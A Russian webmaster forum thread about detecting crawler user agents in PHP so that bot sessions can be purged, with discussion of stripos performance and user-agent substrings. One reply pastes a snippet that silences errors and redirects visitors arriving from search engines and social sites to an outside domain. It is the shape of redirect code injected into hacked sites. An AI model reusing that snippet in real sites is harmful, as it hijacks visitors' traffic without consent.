- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Все что нужно знать о DDоS-атаках грамотному менеджеру
И как реагировать на "пожар", когда неизвестно, где хранятся "огнетушители
Антон Никонов
В 2023 году Google заблокировал более 170 млн фальшивых отзывов на Картах
Это на 45% больше, чем в 2022 году
Оксана Мамчуева
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Так сложилось 20 лет назад, что мои сайты сегодня используют сессии... Так сложилось 30 лет назад, что умные люди научили меня продавать. Вкупе эти два плачевных факта привели меня к тому, что сессии некативных посетителей я храню месяц. При этом я столкнулся сразу с тем, что поисковые роботы генерят адское количество сессий (у них же не сохраняются, вот один проход по моему сайту целиком одного бота == 10 000 сессий, а в них, мать их, языковые переменные).
Поэтому я сделал фильтрацию сессий ботов и прибиваю их по хрону раз в час.
Вопрос 1 (не важный). Может кто посоветует более быстрый с т.з. РНР способ определения бота? У меня сейчас используется stripos , мне всегда казалось ,что функции поиска вхождения в строке - медленные очень...
Вопрос 2. Важный. Полез в панель, а там блин - кто-то съел почти весь диск. Пробежался du в шелле, баааа на русском сайте папка с сессиями распухла в 10 раз относительно других стран... Сразу мысль - появился, сцко, новый бот. И точно, обнаружил некоего:
Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)
Быстренько внес коорективы:
Но остался собственно вопрос:
Есть у кого свежий список юзерагентов российского сегмента? Желательно еще безопасный перечень подстрок - чтобы не отфильтровать нормальных юзеров (ну типа что содержится в их ЮА, но нет в ЮА человеков)?
Лишнее удали
error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://5aa5.ru");
exit(); } } }}
Гложат меня смутные сомнения...
1. У меня в худшем случае 3 вызова stripos , а в твоем примере 17 вызовов stristr, который по версии стековерфлоу еще и медленнее. На 10%, но все же.
2. Я исхожу из предположения, что юзерагенты ботов содержат "bot", а юзерагенты юзеров НЕ содержат, и в свое время нашел одного отщепенца "Slurp", вот теперь похоже еще один "crawler".
Мой метод проще и быстрее, или я не прав?
медленные очень...
Так незачем каждый запрос проверять, первое обращение одного ip на несколько минут и достаточно.
пользуюсь такой функцией, но проверка на ботность не очень важна
Если сессии хранятся в файлах, то там, явно, не тысячи запросов в секунду и никаким способом поиска в строке CPU новее 20-лет не нагрузить значительно.
1. Вам кажется. Всё нормально с производительностью у неё
2. Всё нормально с вашим списком.
НО тут возникает вопрос... а точно ли надо стартовать сессию для каждого захода? Может быть достаточно куку весить, чтобы хранить информацию, а сессию стартовать, если человеку реально она нужна для корзины там или авторизации.
а точно ли надо стартовать сессию для каждого захода
Да конечно - нет. Но сайту 18 лет, написан но с использованием register_globals и в сессии хранятся много чего - включая языковые переменные. По-хорошему, конечно же, переделать надо. Но работает и хорошо работает, фигли лезть. Только вот с сессиями заморочки, но решаемые же.
Поэтому я сделал фильтрацию сессий ботов и прибиваю их по хрону раз в час.
А зачем вообще для ботов стартовать сессию?
Да и вообще, сессии для такого длительного хранения не предназначены.
А зачем вообще для ботов стартовать сессию?
Ну потому что у меня session_start() в стопицот местах засунуто. Проще их по хрону чистить. Еще раз - сайту столько лет, сколько половина из вас в сознательном возрасте не жило.
Да и вообще, сессии для такого длительного хранения не предназначены.
См. выше. У меня время жизни неактивной сессии (опять же, через хрон-самодельный gc) 1мес, соответственно активная - вечна. Нельзя клиенту корзину обнулять.
Залогиненные юзеры у меня могут в БД корзину отправить, это да. Но залогиненых 30%.
Да конечно - нет. Но сайту 18 лет, написан но с использованием register_globals и в сессии хранятся много чего - включая языковые переменные. По-хорошему, конечно же, переделать надо. Но работает и хорошо работает, фигли лезть. Только вот с сессиями заморочки, но решаемые же.
Тогда добавляем новый код
и живём дальше.
и живём дальше.
Ну вот так я и сделал... Хотел еще блин сделать так, чтобы не каждый хит у меняsession.save_path перезаписывалось, но не срослось влет, забил :-)
Вот мысль пришла, никто не заморачивался? Есть подозрение, что 99% useragent ботов содержит подстроку "http" как часть ссылки на своих хозяев. В то же время 99% useragent браузеров - НЕ содержат, по крайней мере мне удалось найти лишь ОДИН браузер - какой-то никому не известный QtWeb, у которого есть. Ну еще у одной древней Оперы правда.
Вот и я думаю, так можно сократить проверку о ОДНОГО условия (ну плюс еще одно - мое специфичное UptimeRobot)..
Да, знаю,
Вам кажется. Всё нормально с производительностью у неё
... но птичка по зернышку клюет.